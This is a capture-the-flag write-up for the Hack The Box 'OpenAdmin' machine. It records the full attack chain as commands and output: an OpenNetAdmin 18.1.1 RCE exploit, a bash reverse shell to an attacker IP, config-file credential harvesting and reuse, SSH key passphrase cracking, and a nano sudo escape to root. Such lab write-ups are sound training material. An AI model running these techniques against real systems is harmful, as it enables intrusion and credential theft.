OpenAdmin Writeup

02 March 2023 #CTF #HTB #box #easy #linux

openadmin info

Enumeration

nmap is like a third eye:

$ sudo nmap -n -Pn -sCV -oN enum/initial.nmap 10.10.10.171
[...]
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b98df85d17ef03dda48cdbc9200b754 (RSA)
|   256 dceb3dc944d118b122b4cfdebd6c7a54 (ECDSA)
|_  256 dcadca3c11315b6fe6a489347c9be550 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

HTTP

Going to http://10.10.10.171 we get the default apache install page:

default apache page

Let's get some directory bruteforcing going since we don't really have much else to do:

$ gobuster dir -u http://10.10.10.171 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[...]
/music       (Status: 301) [Size: 312] [--> http://10.10.10.171/music/]
/artwork     (Status: 301) [Size: 314] [--> http://10.10.10.171/artwork/]
/sierra      (Status: 301) [Size: 313] [--> http://10.10.10.171/sierra/]
[...]

These 3 directories stick out among the 403 errors. Let's check /artwork:

artwork dir

Looks like a static site full of lorem ipsum with no user input.
Same goes for /sierra.

/music is similar but there is a login button in the nav bar:

music dir

If we click on it we are redirected to this page:

ona page

Foothold

The title of the page is 'OpenNetAdmin' and a quick google search informs us this is a network management application.

The other interesting thing is that it is telling that we are out of date (and the current version is 18.1.1).

After looking up this version, we find an exploitdb entry for this exact version, along with an exploit script that should get us code execution:

$ ./ona-rce.py exploit http://10.10.10.171/ona
[*] OpenNetAdmin 18.1.1 - Remote Code Execution
[+] Connecting !
[+] Connected Successfully!
sh$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We can get an actual reverse shell with this command:
bash -c 'bash -i >& /dev/tcp/10.10.14.8/443 0>&1'.

Privesc

www-data to jimmy

The first thing to do is looking for creds inside this web directory. Passwords are usually found in config files so let's see if there are any:

www-data@openadmin:/opt/ona/www$ find . -type f | grep -i conf
./config/auth_ldap.config.php
./config/config.inc.php
./local/config/motd.txt.example
./local/config/run_installer
./local/config/database_settings.inc.php
./winc/list_configs.inc.php
./winc/app_config_type_edit.inc.php
./winc/app_config_type_list.inc.php
./winc/app_sysconf_edit.inc.php
./winc/display_config_text.inc.php
./winc/app_sysconf_list.inc.php
./workspace_plugins/builtin/config_archives/main.inc.php
./workspace_plugins/builtin/host_actions/config.inc.php
./config_dnld.php
./modules/ona/configuration.inc.php

Indeed, there are a bunch of config files. Now let's see if we can find a password in one of them:

www-data@openadmin:/opt/ona/www$ find . -type f | grep -i conf | xargs grep -i pass
[...]
./local/config/database_settings.inc.php:        'db_passwd' => 'n1nj4W4rri0R!',
[...]

Nice, we found the mysql password. We can access the database but there is nothing really interesting.

Instead we can check if the password is reused for a user account. First let's enumerate the user accounts on this box:

www-data@openadmin:/opt/ona/www$ grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash

We can try all of them but jimmy is the one we can log in with:

ssh jimmy@10.10.10.171
[...]
jimmy@openadmin:~$ id
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)

jimmy to joanna

As we saw the in the id output, jimmy is a member of the 'internal' group.

jimmy@openadmin:~$ find / -group internal -ls 2> /dev/null
286763  4 drwxrwx---   2 jimmy  internal  4096 Mar  2 22:35 /var/www/internal
282830  4 -rwxrwxr-x   1 jimmy  internal   339 Nov 23  2019 /var/www/internal/main.php
  2644  4 -rwxrwxr-x   1 jimmy  internal   185 Nov 23  2019 /var/www/internal/logout.php
282910  4 -rwxrwxr-x   1 jimmy  internal  3318 Mar  2 22:03 /var/www/internal/index.php

We have read/write access to the /var/www/internal directory, and all of its files.

To understand how this virtual host is configured, we can take a look at the apache config:

jimmy@openadmin:/etc/apache2/sites-enabled$ ls
internal.conf  openadmin.conf
jimmy@openadmin:/etc/apache2/sites-enabled$ cat internal.conf
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

This vhost only listens on localhost, on port 52846. Furthermore, the apache process will be running as the joanna user.

Looking at the php files, index.php acts as a login page:

[...]
<?php
$msg = '';

if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
    if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
        $_SESSION['username'] = 'jimmy';
        header("Location: /main.php");
    } else {
        $msg = 'Wrong username or password.';
    }
}
?>
[...]

main.php just prints joanna's private SSH key (if we succesfuly logged in):

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

Since we have write permissions on all of these files, we can remove the first line of main.php (don't remove the <?php) to be able to view joanna's private SSH key without logging in (one of many ways).

Next we need to forward a local port in order to access the internal app. We can do it easily with ssh:

$ ssh -L 8001:127.0.0.1:52846 jimmy@10.10.10.171
[...]

This will open port 8001 on our attack box and forward our requests to the remote box on port 52846 (on the loopback interface).

This key is password protected (jimmy's password didn't work). We'll use ssh2john to generate a hash we will try to crack with john:

$ ssh2john joanna.key > joanna.key.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt joanna.key.hash
[...]
bloodninjas      (joanna.key)
[...]

We can now use joanna's key to ssh in.

joanna to root

Once logged in as joanna, we can check if we can run sudo:

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

Yep, we can run nano /opt/priv as root without password. There is an entry for nano in GTFOBins. All we need to do is press Ctrl-r + Ctrl-x and type reset; sh 1>&0 2>&0.

Once done, type reset again and we should have an interactive shell as root:

# id
uid=0(root) gid=0(root) groups=0(root)

Key Takeaways